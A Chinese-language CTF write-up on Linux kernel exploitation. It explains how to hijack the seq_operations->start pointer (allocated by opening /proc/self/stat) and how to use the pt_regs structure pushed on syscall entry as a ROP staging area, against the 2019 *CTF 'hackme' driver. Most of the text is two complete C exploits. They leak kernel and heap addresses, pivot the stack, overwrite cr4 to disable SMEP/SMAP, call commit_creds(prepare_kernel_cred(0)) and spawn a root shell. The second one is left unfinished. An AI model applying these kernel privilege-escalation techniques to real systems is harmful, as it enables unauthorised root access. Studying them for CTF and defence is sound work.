kernel怎么利用pt regs劫持seq operations

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劫持seq_operations进行栈迁移

seq_operations是一个大小为0x20的结构体，在打开/proc/self/stat会申请出来。里面定义了四个函数指针，通过他们可以泄露出内核基地址。

struct seq_operations {    void * (*start) (struct seq_file *m, loff_t *pos);    void (*stop) (struct seq_file *m, void *v);    void * (*next) (struct seq_file *m, void *v, loff_t *pos);    int (*show) (struct seq_file *m, void *v);};

当我们read一个stat文件时，内核会调用proc_ops的proc_read_iter指针

ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter){    struct seq_file *m = iocb->ki_filp->private_data;    //...    p = m->op->start(m, &m->index);    //...

即会调用seq_operations->start指针，我们只需覆盖start指针为特定gadget，即可控制程序执行流。

拿2019 *starctf hackme关闭smap来尝试这种打法

exp1

#include #include #include #include #include #include #include #include #include int fd;size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;size_t user_cs, user_ss, user_sp, user_rflags;size_t raw_vmlinux_base = 0xffffffff81000000;size_t rop[0x100] = {0};struct Heap{    size_t index;    char *data;    size_t len;    size_t offset;};void add(int index, size_t len, char *data){        struct Heap heap;        heap.index = index;        heap.data = data;        heap.len = len;        ioctl(fd, 0x30000, &heap);}void delete(int index){        struct Heap heap;        heap.index = index;        ioctl(fd, 0x30001, &heap);}void edit(int index, size_t len, size_t offset, char *data){        struct Heap heap;        heap.index = index;        heap.data = data;        heap.len = len;        heap.offset = offset;        ioctl(fd, 0x30002, &heap);}void show(int index, size_t len, size_t offset, char *data){        struct Heap heap;        heap.index = index;        heap.data = data;        heap.len = len;        heap.offset = offset;        ioctl(fd, 0x30003, &heap);}void save_status(){        __asm__(        "mov user_cs, cs;"        "mov user_ss, ss;"        "mov user_sp, rsp;"        "pushf;"        "pop user_rflags;"        );        puts("[+] save the state success!");}void get_shell(){        if (getuid() == 0)        {                puts("[+] get root");                //system("/bin/sh");                char *shell = "/bin/sh";                char *args[] = {shell, NULL};                execve(shell, args, NULL);        }        else        {                puts("[-] get shell error");                sleep(3);                exit(0);        }}void get_root(void){        //commit_creds(prepare_kernel_cred(0));        void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;        void (*cc)(void *) = (void (*)(void *))commit_creds;        (*cc)((*pkc)(0));}int main(){        char buf[0x1000] = {0};        int i;        size_t seq_data[4] = {0};        save_status();        fd = open("/dev/hackme",0);        if(fd < 0)        {                puts("[-] open file error");                exit(0);        }        add(0, 0x20, buf); // 0        add(1, 0x20, buf); // 1        add(2, 0x20, buf); // 2        add(3, 0x20, buf); // 3        delete(0);        delete(2);        int fd_seq = open("/proc/self/stat", 0);        if(fd_seq < 0)        {                puts("[-] open stat error");                exit(0);        }        show(3, 0x20, -0x20, buf);        vmlinux_base = ((size_t *)buf)[0] - 0xd30c0;        printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);        off = vmlinux_base - raw_vmlinux_base;        commit_creds = off + 0xffffffff8104d220;        prepare_kernel_cred = off + 0xffffffff8104d3d0;        show(1, 0x20, -0x20, buf);        heap_base = ((size_t *)buf)[0] - 0x80;        printf("[+] heap_base=> 0x%lx\n", heap_base);        i = 0;        rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret;        rop[i++] = 0x6f0;        rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;        rop[i++] = 0;        rop[i++] = (size_t)get_root;        rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret;         rop[i++] = 0;        rop[i++] = 0;        rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret;        rop[i++] = (size_t)get_shell;        rop[i++] = user_cs;        rop[i++] = user_rflags;        rop[i++] = user_sp;        rop[i++] = user_ss;        ((size_t *)buf)[0] = off + 0xffffffff8103018e; // xchg eax, esp; ret;        edit(3, 0x20, -0x20, buf);        size_t fake_stack = (heap_base + 0x40) & 0xffffffff;        size_t mmap_base = fake_stack & 0xfffff000;        if(mmap((void *)mmap_base, 0x30000, 7, 0x22, -1, 0) != (void *)mmap_base)                {                        puts("[-] mmap error");                        sleep(3);                        exit(0);                }        else                puts("[+] mmap success");        memcpy((void *)fake_stack, rop, sizeof(rop));        read(fd_seq, buf, 1);        return 0;}

利用pt_regs

可以写一段如下汇编来控制程序执行流，再通过将寄存器押上栈进行ROP

       __asm__(        "mov r15, 0x1111111111;"        "mov r14, 0x2222222222;"        "mov r13, 0x3333333333;"        "mov r12, 0x4444444444;"        "mov rbp, 0x5555555555;"        "mov rbx, 0x6666666666;"        "mov r11, 0x7777777777;"        "mov r10, 0x8888888888;"        "mov r9,  0x9999999999;"        "mov r8,  0xaaaaaaaaaa;"        "mov rcx, 0x666666;"        "mov rdx, 8;"        "mov rsi, rsp;"        "mov rdi, fd_seq;"        "xor rax, rax;"        "syscall"        );

这是为什么呢？大家都知道系统调用是通过布置好寄存器的值之后执行syscall的过程，通过门结构进入到内核中的entry_SYSCALL_64函数。这个函数的内部存在这样一条指令：

PUSH_AND_CLEAR_REGS rax=$-ENOSYS

这个指令很巧妙，他会把所有的寄存器压到栈上形成一个pt_regs结构体，位于内核栈底。

struct pt_regs {/* * C ABI says these regs are callee-preserved. They aren't saved on kernel entry * unless syscall needs a complete, fully filled "struct pt_regs". */    unsigned long r15;    unsigned long r14;    unsigned long r13;    unsigned long r12;    unsigned long rbp;    unsigned long rbx;/* These regs are callee-clobbered. Always saved on kernel entry. */    unsigned long r11;    unsigned long r10;    unsigned long r9;    unsigned long r8;    unsigned long rax;    unsigned long rcx;    unsigned long rdx;    unsigned long rsi;    unsigned long rdi;/* * On syscall entry, this is syscall#. On CPU exception, this is error code. * On hw interrupt, it's IRQ number: */    unsigned long orig_rax;/* Return frame for iretq */    unsigned long rip;    unsigned long cs;    unsigned long eflags;    unsigned long rsp;    unsigned long ss;/* top of stack page */};

这里寄存器r8-r15都会被放到栈上，如果我们可以合理控制好这些寄存器的值，再找到一个add rsp, xxxh; ret;的寄存器放在seq_operations->start的位置，那么就可以控制程序执行流，考虑到一般这里栈上连续存放的寄存器一般只有4-5个

我们可以用commit_creds(&init_cred)来代替commit_creds(prepare_kernel_cred(NULL))，

布局如下：

pop_rdi_ret;init_cred;commit_creds;swapgs_restore_regs_and_return_to_usermode;

由于我这里并没有能找到合适的add rsp, xxxh; ret;，故就留一个调试半成品exp

exp2

#include #include #include #include #include #include #include #include #include int fd;size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;size_t user_cs, user_ss, user_sp, user_rflags;size_t raw_vmlinux_base = 0xffffffff81000000;size_t rop[0x100] = {0};int fd_seq;struct Heap{    size_t index;    char *data;    size_t len;    size_t offset;};void add(int index, size_t len, char *data){        struct Heap heap;        heap.index = index;        heap.data = data;        heap.len = len;        ioctl(fd, 0x30000, &heap);}void delete(int index){        struct Heap heap;        heap.index = index;        ioctl(fd, 0x30001, &heap);}void edit(int index, size_t len, size_t offset, char *data){        struct Heap heap;        heap.index = index;        heap.data = data;        heap.len = len;        heap.offset = offset;        ioctl(fd, 0x30002, &heap);}void show(int index, size_t len, size_t offset, char *data){        struct Heap heap;        heap.index = index;        heap.data = data;        heap.len = len;        heap.offset = offset;        ioctl(fd, 0x30003, &heap);}void save_status(){        __asm__(        "mov user_cs, cs;"        "mov user_ss, ss;"        "mov user_sp, rsp;"        "pushf;"        "pop user_rflags;"        );        puts("[+] save the state success!");}void get_shell(){        if (getuid() == 0)        {                puts("[+] get root");                //system("/bin/sh");                char *shell = "/bin/sh";                char *args[] = {shell, NULL};                execve(shell, args, NULL);        }        else        {                puts("[-] get shell error");                sleep(3);                exit(0);        }}void get_root(void){        //commit_creds(prepare_kernel_cred(0));        void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;        void (*cc)(void *) = (void (*)(void *))commit_creds;        (*cc)((*pkc)(0));}int main(){        char buf[0x1000] = {0};        int i;        size_t seq_data[4] = {0};        save_status();        fd = open("/dev/hackme",0);        if(fd < 0)        {                puts("[-] open file error");                exit(0);        }        add(0, 0x20, buf); // 0        add(1, 0x20, buf); // 1        delete(0);        fd_seq = open("/proc/self/stat", 0);        if(fd_seq < 0)        {                puts("[-] open stat error");                exit(0);        }        show(1, 0x20, -0x20, buf);        vmlinux_base = ((size_t *)buf)[0] - 0xd30c0;        printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);        off = vmlinux_base - raw_vmlinux_base;        commit_creds = off + 0xffffffff8104d220;        prepare_kernel_cred = off + 0xffffffff8104d3d0;        size_t gadget = 0xffffffff8103018e; // xchg eax, esp; ret;        ((size_t *)buf)[0] = gadget;        edit(1, 0x20, -0x20, buf);        __asm__(        "mov r15, 0x1111111111;"        "mov r14, 0x2222222222;"        "mov r13, 0x3333333333;"        "mov r12, 0x4444444444;"        "mov rbp, 0x5555555555;"        "mov rbx, 0x6666666666;"        "mov r11, 0x7777777777;"        "mov r10, 0x8888888888;"        "mov r9,  0x9999999999;"        "mov r8,  0xaaaaaaaaaa;"        "mov rcx, 0x666666;"        "mov rdx, 8;"        "mov rsi, rsp;"        "mov rdi, fd_seq;"        "xor rax, rax;"        "syscall"        );        return 0;}

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